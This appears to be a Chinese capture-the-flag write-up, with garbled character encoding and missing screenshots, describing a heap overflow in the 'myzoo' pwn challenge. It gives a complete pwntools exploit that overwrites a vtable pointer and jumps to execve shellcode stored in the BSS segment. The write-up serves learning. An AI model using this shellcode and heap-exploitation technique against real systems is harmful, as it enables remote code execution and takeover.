0x01 寫在前面
今天復(fù)現(xiàn)了安恒杯十一月賽的myzoo題目,話說這次月賽全是堆題,剛好可以順便學(xué)一波堆的知識點,如有錯誤歡迎大佬給予指正,感謝加比心?( ′???` )
0x02 開始復(fù)現(xiàn)
一上來查看保護(hù),發(fā)現(xiàn)

之后用IDA查看程序,

發(fā)現(xiàn)是列表題,那么應(yīng)該是堆上的漏洞,進(jìn)一步查看發(fā)現(xiàn)在addBig函數(shù)中,


這里的strcpy函數(shù)會造成堆溢出,越界修改值,那么我們可以先申請兩個chunk,然后free掉第一個chunk,再次申請一個同一大小的chunk,根據(jù)libc的heap分配機(jī)制,新申請的chunk會占用原來的第一個chunk的位置,緊接著利用strcpy函數(shù)的越界寫修改原來的第二個chunk的虛表函數(shù)的地址,又發(fā)現(xiàn)程序一開始的輸入的Name of Your zoo會輸入到BSS段,然后我們可以將shellcode寫入BSS段之后把虛表函數(shù)的地址劫持到shellcode地址進(jìn)而獲取shell。
from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./myzoo")
def addBig(name,weight):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Name : ")
sh.sendline(name)
sh.recvuntil("Weight : ")
sh.sendline(weight)
def addFish(name,weight):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Name : ")
sh.sendline(name)
sh.recvuntil("Weight : ")
sh.sendline(weight)
def listen_animal(index_of_animal):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("index of animal : ")
sh.sendline(index_of_animal)
def showinfo(index_of_animal):
sh.recvuntil("Your choice :")
sh.sendline("4")
sh.recvuntil("index of animal : ")
sh.sendline(index_of_animal)
def remove(index_of_animal):
sh.recvuntil("Your choice :")
sh.sendline("5")
sh.recvuntil("index of animal : ")
sh.sendline(index_of_animal)
name_addr=0x605420
main_addr=0x4018C8
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
sh.sendafter("Name of Your zoo :",'a'*8+p64(name_addr+0x10)+shellcode)
addBig("A"*8,'0')
addBig("B"*8,'1')
remove('0')
# gdb.attach(sh)
vptr=name_addr+8
addBig("A"*72+p64(vptr),'2')
listen_animal('0')
sh.interactive()
print(sh.recv())

0x03 未完待續(xù)&未解問題
這里面有兩個小細(xì)節(jié),一個是sh.sendafter("Name of Your zoo :",'a'*8+p64(name_addr+0x10)+shellcode)這里為什么要填入目標(biāo)函數(shù)的地址。另一個是addBig("A"*72+p64(vptr),'2')為什么會產(chǎn)生0x72的填充。這兩個前者是因為虛表函數(shù)的結(jié)構(gòu),后者是因為兩個chunk中間產(chǎn)生了未釋放的空間。明天再了解了虛表函數(shù)的結(jié)構(gòu)以及更深入的了解了libc的heap分配機(jī)制后再更新~